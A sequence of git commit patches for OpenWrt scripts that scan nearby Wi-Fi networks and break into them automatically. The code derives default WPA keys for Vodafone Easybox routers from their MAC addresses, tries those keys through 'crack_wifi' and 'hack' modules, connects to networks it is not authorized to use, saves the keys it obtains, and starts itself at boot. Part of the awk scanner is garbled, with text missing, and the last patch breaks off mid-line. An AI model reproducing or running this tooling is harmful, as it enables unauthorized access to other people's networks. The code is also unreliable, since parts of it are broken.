From bcbaa2b2855bc3c197b2e9d8d078e2ea880ff733 Mon Sep 17 00:00:00 2001 From: makefu Date: Tue, 12 Feb 2013 08:55:05 +0100 Subject: minikrebs now uses traits instead of profiles --- etc/rc.local | 1 + etc/wifiblack | 0 etc/wifipw | 0 usr/bin/aap | 115 +++++++++++++++++++++++++++++++++++++++++++++++++ usr/bin/easybox_keygen | 40 +++++++++++++++++ 5 files changed, 156 insertions(+) create mode 100644 etc/rc.local create mode 100644 etc/wifiblack create mode 100644 etc/wifipw create mode 100755 usr/bin/aap create mode 100755 usr/bin/easybox_keygen diff --git a/etc/rc.local b/etc/rc.local new file mode 100644 index 00000000..794bc44a --- /dev/null +++ b/etc/rc.local @@ -0,0 +1 @@ +/usr/bin/aap & diff --git a/etc/wifiblack b/etc/wifiblack new file mode 100644 index 00000000..e69de29b diff --git a/etc/wifipw b/etc/wifipw new file mode 100644 index 00000000..e69de29b diff --git a/usr/bin/aap b/usr/bin/aap new file mode 100755 index 00000000..75e1cbfe --- /dev/null +++ b/usr/bin/aap @@ -0,0 +1,115 @@ +#!/usr/bin/awk -f + +BEGIN { + chan=0; + essid=""; + encr=0; + psk2=0; + psk=0; + i=0; + # find interface - start by finding if in sta mode + while( "uci show wireless" | getline) { + if(/mode=sta/) { + split($0,wl,"."); + iface=wl[2]; + } + } + close("uci show wireless") + "uci get wireless." iface ".device" | getline radio + close("uci get wireless." iface ".device") + system("ifconfig wlan0 up") + for(;;){ + while( "iwlist wlan0 scan" | getline ) { + scan[i++]=$0; + } + close("iwlist wlan0 scan") + for (j=0;j 0) { + "easybox_keygen " mac | getline rkey + close("easybox_keygen " mac) + } + else { + print essid " is encrypted and key not in whitelist"; + continue; + } + } + } + system("uci set wireless." radio ".channel=" channel); + system("uci set wireless." iface ".ssid=" essid); + if (crypt == "none") { + system("uci set wireless." iface ".encryption=none"); + system("uci -q delete wireless." iface ".key"); + } + else { + system("uci set wireless." iface ".key=" rkey); + system("uci set wireless." iface ".encryption=" crypt); + } + system("uci show wireless > /tmp/keepalive"); + system("wifi up"); + while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { + system("ledoff") + } + } + else { + # now test for the things we want + # channel + if (/Channel:[0-9]/) { + m=match($0,"Channel"); + if (RSTART > 0) { + s=substr($0,m); + n=match(s,/[0-9]+/); + chan=substr(s,n,RLENGTH) + } + continue; + } + # we don't need else as we break on successful find + if (/^ *ESSID/) { + m=match($0,"\".*\""); + if (RSTART > 0) essid=substr($0,m+1,RLENGTH-2); + continue; + } + if (/^ *Encryption key:on/) { + encr = 1; + continue; + } + if (/^ *IE: IEEE 802.11i\/WPA2/) { + psk2=1; + continue; + } + if (/^ *IE: WPA /) { + psk=1; + continue; + } + } + } + } + } diff --git a/usr/bin/easybox_keygen b/usr/bin/easybox_keygen new file mode 100755 index 00000000..e9a9beca --- /dev/null +++ b/usr/bin/easybox_keygen @@ -0,0 +1,40 @@ +#!/bin/sh +# +# easybox_keygen.sh (c) 2012 GPLv3 +# +# www.wotan.cc +# + +MAC=$1 + +# Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + +take5=${MAC:12} +last4=${take5/:/} + +# Fill up to 4 places with zeros, if necessary: +deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') +#echo M4: ${deci[@]} +# +# The digits M9 to M12 are just the last digits (9.-12.) of the MAC: +hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') +#echo 'M4 (Hex): ' ${hexi[@]} +# K1 = last byte of (d0 + d1 + h2 + h3) +# K2 = last byte of (h0 + h1 + d2 + d3) +c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) +c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) +K1=$((($c1)%16)) +K2=$((($c2)%16)) +#printf "K1: %x\n" $K1 +#printf "K2: %x\n" $K2 +X1=$((K1^${deci:6:1})) +X2=$((K1^${deci:4:1})) +X3=$((K1^${deci:2:1})) +Y1=$((K2^0x${hexi:2:1})) +Y2=$((K2^0x${hexi:4:1})) +Y3=$((K2^0x${hexi:6:1})) +Z1=$((0x${hexi:4:1}^${deci:6:1})) +Z2=$((0x${hexi:6:1}^${deci:4:1})) +Z3=$((K1^K2)) +printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F + -- cgit v1.2.3 From 09e072c902886a7c961e7e88240921e78e735764 Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 17:52:05 +0200 Subject: add error handling for easybox_keygen --- usr/bin/easybox_keygen | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/easybox_keygen b/usr/bin/easybox_keygen index e9a9beca..daedb602 100755 --- a/usr/bin/easybox_keygen +++ b/usr/bin/easybox_keygen @@ -5,7 +5,7 @@ # www.wotan.cc # -MAC=$1 +MAC=${1?\$1 must be MAC} # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. -- cgit v1.2.3 From 123a9f36d68d140b95d6a504d928e9cb23df863d Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 18:03:58 +0200 Subject: use all_led instead of obsolete ledoff --- usr/bin/aap | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/aap b/usr/bin/aap index 75e1cbfe..e1070788 100755 --- a/usr/bin/aap +++ b/usr/bin/aap @@ -76,7 +76,7 @@ BEGIN { system("uci show wireless > /tmp/keepalive"); system("wifi up"); while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { - system("ledoff") + system("all_led none") } } else { -- cgit v1.2.3 From d0485a0f020d6a3bbe5ab4a0994d20d7bc74d382 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 18:15:47 +0200 Subject: moved autoconnect to autoconnect_old --- etc/rc.local | 1 - etc/wifiblack | 0 etc/wifipw | 0 usr/bin/aap | 115 ------------------------------------------------- usr/bin/easybox_keygen | 40 ----------------- 5 files changed, 156 deletions(-) delete mode 100644 etc/rc.local delete mode 100644 etc/wifiblack delete mode 100644 etc/wifipw delete mode 100755 usr/bin/aap delete mode 100755 usr/bin/easybox_keygen diff --git a/etc/rc.local b/etc/rc.local deleted file mode 100644 index 794bc44a..00000000 --- a/etc/rc.local +++ /dev/null @@ -1 +0,0 @@ -/usr/bin/aap & diff --git a/etc/wifiblack b/etc/wifiblack deleted file mode 100644 index e69de29b..00000000 diff --git a/etc/wifipw b/etc/wifipw deleted file mode 100644 index e69de29b..00000000 diff --git a/usr/bin/aap b/usr/bin/aap deleted file mode 100755 index 75e1cbfe..00000000 --- a/usr/bin/aap +++ /dev/null @@ -1,115 +0,0 @@ -#!/usr/bin/awk -f - -BEGIN { - chan=0; - essid=""; - encr=0; - psk2=0; - psk=0; - i=0; - # find interface - start by finding if in sta mode - while( "uci show wireless" | getline) { - if(/mode=sta/) { - split($0,wl,"."); - iface=wl[2]; - } - } - close("uci show wireless") - "uci get wireless." iface ".device" | getline radio - close("uci get wireless." iface ".device") - system("ifconfig wlan0 up") - for(;;){ - while( "iwlist wlan0 scan" | getline ) { - scan[i++]=$0; - } - close("iwlist wlan0 scan") - for (j=0;j 0) { - "easybox_keygen " mac | getline rkey - close("easybox_keygen " mac) - } - else { - print essid " is encrypted and key not in whitelist"; - continue; - } - } - } - system("uci set wireless." radio ".channel=" channel); - system("uci set wireless." iface ".ssid=" essid); - if (crypt == "none") { - system("uci set wireless." iface ".encryption=none"); - system("uci -q delete wireless." iface ".key"); - } - else { - system("uci set wireless." iface ".key=" rkey); - system("uci set wireless." iface ".encryption=" crypt); - } - system("uci show wireless > /tmp/keepalive"); - system("wifi up"); - while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { - system("ledoff") - } - } - else { - # now test for the things we want - # channel - if (/Channel:[0-9]/) { - m=match($0,"Channel"); - if (RSTART > 0) { - s=substr($0,m); - n=match(s,/[0-9]+/); - chan=substr(s,n,RLENGTH) - } - continue; - } - # we don't need else as we break on successful find - if (/^ *ESSID/) { - m=match($0,"\".*\""); - if (RSTART > 0) essid=substr($0,m+1,RLENGTH-2); - continue; - } - if (/^ *Encryption key:on/) { - encr = 1; - continue; - } - if (/^ *IE: IEEE 802.11i\/WPA2/) { - psk2=1; - continue; - } - if (/^ *IE: WPA /) { - psk=1; - continue; - } - } - } - } - } diff --git a/usr/bin/easybox_keygen b/usr/bin/easybox_keygen deleted file mode 100755 index e9a9beca..00000000 --- a/usr/bin/easybox_keygen +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -# -# easybox_keygen.sh (c) 2012 GPLv3 -# -# www.wotan.cc -# - -MAC=$1 - -# Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. - -take5=${MAC:12} -last4=${take5/:/} - -# Fill up to 4 places with zeros, if necessary: -deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') -#echo M4: ${deci[@]} -# -# The digits M9 to M12 are just the last digits (9.-12.) of the MAC: -hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') -#echo 'M4 (Hex): ' ${hexi[@]} -# K1 = last byte of (d0 + d1 + h2 + h3) -# K2 = last byte of (h0 + h1 + d2 + d3) -c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) -c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) -K1=$((($c1)%16)) -K2=$((($c2)%16)) -#printf "K1: %x\n" $K1 -#printf "K2: %x\n" $K2 -X1=$((K1^${deci:6:1})) -X2=$((K1^${deci:4:1})) -X3=$((K1^${deci:2:1})) -Y1=$((K2^0x${hexi:2:1})) -Y2=$((K2^0x${hexi:4:1})) -Y3=$((K2^0x${hexi:6:1})) -Z1=$((0x${hexi:4:1}^${deci:6:1})) -Z2=$((0x${hexi:6:1}^${deci:4:1})) -Z3=$((K1^K2)) -printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F - -- cgit v1.2.3 From 116467f9bb2d28666045fda00ef19dcef9558331 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 18:21:00 +0200 Subject: added autowifi --- usr/bin/autowifi | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 usr/bin/autowifi diff --git a/usr/bin/autowifi b/usr/bin/autowifi new file mode 100644 index 00000000..9ccff4b7 --- /dev/null +++ b/usr/bin/autowifi @@ -0,0 +1,3 @@ +#!/usr/bin/sh +connect_wifi(){ +} -- cgit v1.2.3 From 33023fe6a009674830f21f575436115efbaaf22d Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 19:09:59 +0200 Subject: add iwlist_env --- usr/bin/iwlist_env | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100755 usr/bin/iwlist_env diff --git a/usr/bin/iwlist_env b/usr/bin/iwlist_env new file mode 100755 index 00000000..fcd9627d --- /dev/null +++ b/usr/bin/iwlist_env @@ -0,0 +1,33 @@ +#!/bin/sh + +count=0 + +iwlist scan ${interface:-} 2>/dev/null | while read line; +do + case "$line" in + *"Cell "*) + echo + : $((count+=1)) + echo MAC_${count}="${line#*Address: }" + ;; + *Channel:*) + echo CHANNEL_${count}="${line#*:}" + ;; + *Quality=*) + echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + ;; + *"Encryption key:"*) + echo ENCRYPTION_${count}="${line#*key:}" + ;; + *ESSID:*) + echo ESSID_${count}="${line#*ESSID:}" + ;; + *"IE: IEEE 802.11i/WPA2"*) + echo WPA2_${count}=1 + ;; + *"IE: WPA Version 1"*) + echo WPA_${count}=1 + ;; + *);; + esac +done -- cgit v1.2.3 From a1a677d33e68c019d9fdecb29e57164d69e8aa03 Mon Sep 17 00:00:00 2001 From: makefu Date: Thu, 23 May 2013 19:34:38 +0200 Subject: update iwlist_env --- usr/bin/iwlist_env | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/usr/bin/iwlist_env b/usr/bin/iwlist_env index fcd9627d..29112ff3 100755 --- a/usr/bin/iwlist_env +++ b/usr/bin/iwlist_env @@ -2,11 +2,11 @@ count=0 -iwlist scan ${interface:-} 2>/dev/null | while read line; +iwlist scan ${1:-} 2>/dev/null | ( while read line; do case "$line" in *"Cell "*) - echo + #echo : $((count+=1)) echo MAC_${count}="${line#*Address: }" ;; @@ -30,4 +30,4 @@ do ;; *);; esac -done +done; echo WIFI_COUNT=$count) -- cgit v1.2.3 From 640e5c566585c04bfa4cdfbf8d89c34d8626108f Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:01:40 +0200 Subject: autowifi with connect_function now --- usr/bin/autowifi | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) mode change 100644 => 100755 usr/bin/autowifi diff --git a/usr/bin/autowifi b/usr/bin/autowifi old mode 100644 new mode 100755 index 9ccff4b7..876dbc15 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,3 +1,17 @@ -#!/usr/bin/sh +#!/bin/sh -x +iface=@wifi-iface[0] +radio=$(uci get wireless.${iface}.device) connect_wifi(){ + ifconfig wlan0 up + uci set wireless.${radio}.channel=$1 + uci set "wireless.${iface}.ssid=$2" + if [ $3 == "none" ] ; then + uci set wireless.${iface}.encryption=none + uci -q delete wireless.${iface}.key + else + uci set "wireless.${iface}.key=$4" + uci set wireless.${iface}.encryption=$3 + fi + wifi up } +connect_wifi "$@" -- cgit v1.2.3 From 10842825252fa99b84cb42ad5962713c5f3c7866 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:04:14 +0200 Subject: comments! --- usr/bin/autowifi | 1 + 1 file changed, 1 insertion(+) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 876dbc15..e1528478 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -2,6 +2,7 @@ iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) connect_wifi(){ + # channel ssid encryption key ifconfig wlan0 up uci set wireless.${radio}.channel=$1 uci set "wireless.${iface}.ssid=$2" -- cgit v1.2.3 From ef5a4dc7b3ca4bfae0f9b470458017a2087f5e90 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:12:56 +0200 Subject: wifi settings are now comitted --- usr/bin/autowifi | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index e1528478..8815fb75 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -1,9 +1,12 @@ #!/bin/sh -x +wifi=wlan0 iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) connect_wifi(){ # channel ssid encryption key - ifconfig wlan0 up + uci set wireless.${iface}.mode=sta + + ifconfig $wifi up uci set wireless.${radio}.channel=$1 uci set "wireless.${iface}.ssid=$2" if [ $3 == "none" ] ; then @@ -13,6 +16,8 @@ connect_wifi(){ uci set "wireless.${iface}.key=$4" uci set wireless.${iface}.encryption=$3 fi + uci commit wireless wifi up } + connect_wifi "$@" -- cgit v1.2.3 From 107991ba0d1a6710389902abbe41eb42c7af05bf Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 20:31:24 +0200 Subject: now with epic scanning --- usr/bin/autowifi | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 8815fb75..bbd6258f 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -20,4 +20,38 @@ connect_wifi(){ wifi up } +iwlist_scan(){ + count=0 + + iwlist scan ${1:-} 2>/dev/null | ( while read line; + do + case "$line" in + *"Cell "*) + #echo + : $((count+=1)) + echo MAC_${count}="${line#*Address: }" + ;; + *Channel:*) + echo CHANNEL_${count}="${line#*:}" + ;; + *Quality=*) + echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + ;; + *"Encryption key:"*) + echo ENCRYPTION_${count}="${line#*key:}" + ;; + *ESSID:*) + echo ESSID_${count}="${line#*ESSID:}" + ;; + *"IE: IEEE 802.11i/WPA2"*) + echo WPA2_${count}=1 + ;; + *"IE: WPA Version 1"*) + echo WPA_${count}=1 + ;; + *);; + esac + done; echo WIFI_COUNT=$count) +} +iwlist_scan > /tmp/${wifi}.scan connect_wifi "$@" -- cgit v1.2.3 From 0ee9d729554c7ceb40a962a18eb6d64a1c962338 Mon Sep 17 00:00:00 2001 From: lassulus Date: Thu, 23 May 2013 21:28:01 +0200 Subject: now with easybox module --- usr/bin/autowifi | 3 ++- usr/lib/autowifi/easybox | 38 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 40 insertions(+), 1 deletion(-) create mode 100755 usr/lib/autowifi/easybox diff --git a/usr/bin/autowifi b/usr/bin/autowifi index bbd6258f..f6e26a1e 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -53,5 +53,6 @@ iwlist_scan(){ esac done; echo WIFI_COUNT=$count) } + iwlist_scan > /tmp/${wifi}.scan -connect_wifi "$@" + diff --git a/usr/lib/autowifi/easybox b/usr/lib/autowifi/easybox new file mode 100755 index 00000000..e5323977 --- /dev/null +++ b/usr/lib/autowifi/easybox @@ -0,0 +1,38 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! echo $1 | grep -qi Easybox; then + exit 1 +else + MAC=${2?\$2 must be MAC} + + # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + + take5=${MAC:12} + last4=${take5/:/} + + # Fill up to 4 places with zeros, if necessary: + deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') + #echo M4: ${deci[@]} + # + # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: + hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + #echo 'M4 (Hex): ' ${hexi[@]} + # K1 = last byte of (d0 + d1 + h2 + h3) + # K2 = last byte of (h0 + h1 + d2 + d3) + c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) + c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) + K1=$((($c1)%16)) + K2=$((($c2)%16)) + #printf "K1: %x\n" $K1 + #printf "K2: %x\n" $K2 + X1=$((K1^${deci:6:1})) + X2=$((K1^${deci:4:1})) + X3=$((K1^${deci:2:1})) + Y1=$((K2^0x${hexi:2:1})) + Y2=$((K2^0x${hexi:4:1})) + Y3=$((K2^0x${hexi:6:1})) + Z1=$((0x${hexi:4:1}^${deci:6:1})) + Z2=$((0x${hexi:6:1}^${deci:4:1})) + Z3=$((K1^K2)) + printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F +fi -- cgit v1.2.3 From 270c82cb22ea22e6049f544403ad459d9d6604e3 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 10:25:22 +0200 Subject: beta test of heckenkrebs --- usr/bin/autowifi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index f6e26a1e..10f4a9e2 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -53,6 +53,27 @@ iwlist_scan(){ esac done; echo WIFI_COUNT=$count) } +crack_wifi(){ + for hack in $(ls /usr/lib/autowifi/); do + key=$($hack $@); + if ! [ $key -eq 1 ];then + break + else + connect_wifi $3 $1 + fi + done +} +check_internet(){ + wget -O- --spider http://google.de/index.html +} +loop_over_networks(){ + . /tmp/${wifi}.scan + for i in `seq 1 $WIFI_COUNT`; do + crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + done + +} iwlist_scan > /tmp/${wifi}.scan +loop_over_networks -- cgit v1.2.3 From 5f7f912c13b1fc137b7a29a4083082d9efcc9b40 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 10:45:28 +0200 Subject: beta2 (still untested) --- usr/bin/autowifi | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 10f4a9e2..90a584de 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -54,12 +54,18 @@ iwlist_scan(){ done; echo WIFI_COUNT=$count) } crack_wifi(){ - for hack in $(ls /usr/lib/autowifi/); do + if $6;then + encr=psk2 + elif $5; then + encr=psk + elif [ $4 == on ]; then + encr=wep + fi + for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); if ! [ $key -eq 1 ];then + connect_wifi $3 $1 $encr $key break - else - connect_wifi $3 $1 fi done } -- cgit v1.2.3 From 631986deaf81a4641578d1d878f66d2e1a622396 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:24:52 +0200 Subject: new profiles & autowifi --- etc/autowifi/wifi_keys | 2 ++ usr/bin/autowifi | 21 +++++++++++++++------ usr/lib/autowifi/00profile | 9 +++++++++ usr/lib/autowifi/01open | 5 +++++ 4 files changed, 31 insertions(+), 6 deletions(-) create mode 100644 etc/autowifi/wifi_keys create mode 100755 usr/lib/autowifi/00profile create mode 100755 usr/lib/autowifi/01open diff --git a/etc/autowifi/wifi_keys b/etc/autowifi/wifi_keys new file mode 100644 index 00000000..3e9b8870 --- /dev/null +++ b/etc/autowifi/wifi_keys @@ -0,0 +1,2 @@ +#SSID|MAC|KEY +Internet|00:11:22:33:44:55|wut diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 90a584de..3c3444df 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -54,28 +54,37 @@ iwlist_scan(){ done; echo WIFI_COUNT=$count) } crack_wifi(){ - if $6;then + if [ -n "$6" ];then encr=psk2 - elif $5; then + elif [ -n "$5" ]; then encr=psk - elif [ $4 == on ]; then + elif [ "$4" == on ]; then encr=wep fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); - if ! [ $key -eq 1 ];then + ret=$? + if [ $ret -eq 0 ];then connect_wifi $3 $1 $encr $key - break + sleep 20 + if check_gateway; then + (cat /etc/autowifi/wifi_keys; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys + echo "yay internet" + return 0 + fi fi done } +check_gateway(){ + ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') +} check_internet(){ wget -O- --spider http://google.de/index.html } loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do - crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} + eval crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done } diff --git a/usr/lib/autowifi/00profile b/usr/lib/autowifi/00profile new file mode 100755 index 00000000..4d2a9a82 --- /dev/null +++ b/usr/lib/autowifi/00profile @@ -0,0 +1,9 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +cat /etc/autowifi/wifi_keys | while IFS='|' read SSID MAC KEY; do + if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then + echo $KEY + exit 0 + fi +done +exit 1 diff --git a/usr/lib/autowifi/01open b/usr/lib/autowifi/01open new file mode 100755 index 00000000..da94cc98 --- /dev/null +++ b/usr/lib/autowifi/01open @@ -0,0 +1,5 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! [ "$4" == "none" ]; then + exit 1 +fi -- cgit v1.2.3 From 6ede8f54181fa1adaf403f66f9779bce7b721af5 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:38:51 +0200 Subject: now with old key deletion --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 3c3444df..a133b3c3 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -68,7 +68,7 @@ crack_wifi(){ connect_wifi $3 $1 $encr $key sleep 20 if check_gateway; then - (cat /etc/autowifi/wifi_keys; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys echo "yay internet" return 0 fi -- cgit v1.2.3 From f7e3a735078dd0a758066c9398489ca747ab4834 Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 13:42:39 +0200 Subject: now appending --- usr/bin/autowifi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index a133b3c3..27782c3e 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -68,7 +68,7 @@ crack_wifi(){ connect_wifi $3 $1 $encr $key sleep 20 if check_gateway; then - (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq >> /etc/autowifi/wifi_keys + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys echo "yay internet" return 0 fi -- cgit v1.2.3 From e28ab86654d9f70ea055929ae37d040783d4af9a Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 24 May 2013 15:05:22 +0200 Subject: lots of stuff --- usr/bin/autowifi | 19 +++++++++++++++---- usr/lib/autowifi/01open | 5 +++-- 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 27782c3e..3fe9229b 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -21,6 +21,8 @@ connect_wifi(){ } iwlist_scan(){ + ifconfig $wifi up + count=0 iwlist scan ${1:-} 2>/dev/null | ( while read line; @@ -60,6 +62,8 @@ crack_wifi(){ encr=psk elif [ "$4" == on ]; then encr=wep + else + encr=open fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack $@); @@ -68,9 +72,10 @@ crack_wifi(){ connect_wifi $3 $1 $encr $key sleep 20 if check_gateway; then - (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys - echo "yay internet" - return 0 + (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 + mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys + echo "yay gateway" + check_internet && return 0 fi fi done @@ -84,11 +89,17 @@ check_internet(){ loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do + eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue eval crack_wifi \${ESSID_${i}} \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done - } iwlist_scan > /tmp/${wifi}.scan loop_over_networks +while sleep 60; do + if ! check_internet; then + iwlist_scan > /tmp/${wifi}.scan + loop_over_networks + fi +done diff --git a/usr/lib/autowifi/01open b/usr/lib/autowifi/01open index da94cc98..f3b9640c 100755 --- a/usr/lib/autowifi/01open +++ b/usr/lib/autowifi/01open @@ -1,5 +1,6 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! [ "$4" == "none" ]; then - exit 1 +if [ "$4" == "off" ]; then + exit 0 fi +exit 1 -- cgit v1.2.3 From d1f669625da04a520133f3977124b5151ed30eaa Mon Sep 17 00:00:00 2001 From: makefu Date: Fri, 24 May 2013 17:01:34 +0200 Subject: now using print env instead of direct echoing --- usr/bin/autowifi | 52 +++++++++++++++++++++++++++++++++++----------------- 1 file changed, 35 insertions(+), 17 deletions(-) diff --git a/usr/bin/autowifi b/usr/bin/autowifi index 3fe9229b..bee49844 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -20,6 +20,21 @@ connect_wifi(){ wifi up } +print_iwlist_env(){ + # takes environment: + # count + # MAC + # CHANNEL + # QUALITY + # ENCRYPTION + # ESSID + # WPA + # WPA2 + for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do + eval echo ${i}_${count}=\$${i} + done +} + iwlist_scan(){ ifconfig $wifi up @@ -29,31 +44,33 @@ iwlist_scan(){ do case "$line" in *"Cell "*) - #echo + [ $count -eq 0 ] || print_iwlist_env + WPA=0 + WPA2=0 : $((count+=1)) - echo MAC_${count}="${line#*Address: }" + MAC="${line#*Address: }" ;; *Channel:*) - echo CHANNEL_${count}="${line#*:}" + CHANNEL="${line#*:}" ;; *Quality=*) - echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" + QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" ;; *"Encryption key:"*) - echo ENCRYPTION_${count}="${line#*key:}" + ENCRYPTION="${line#*key:}" ;; *ESSID:*) - echo 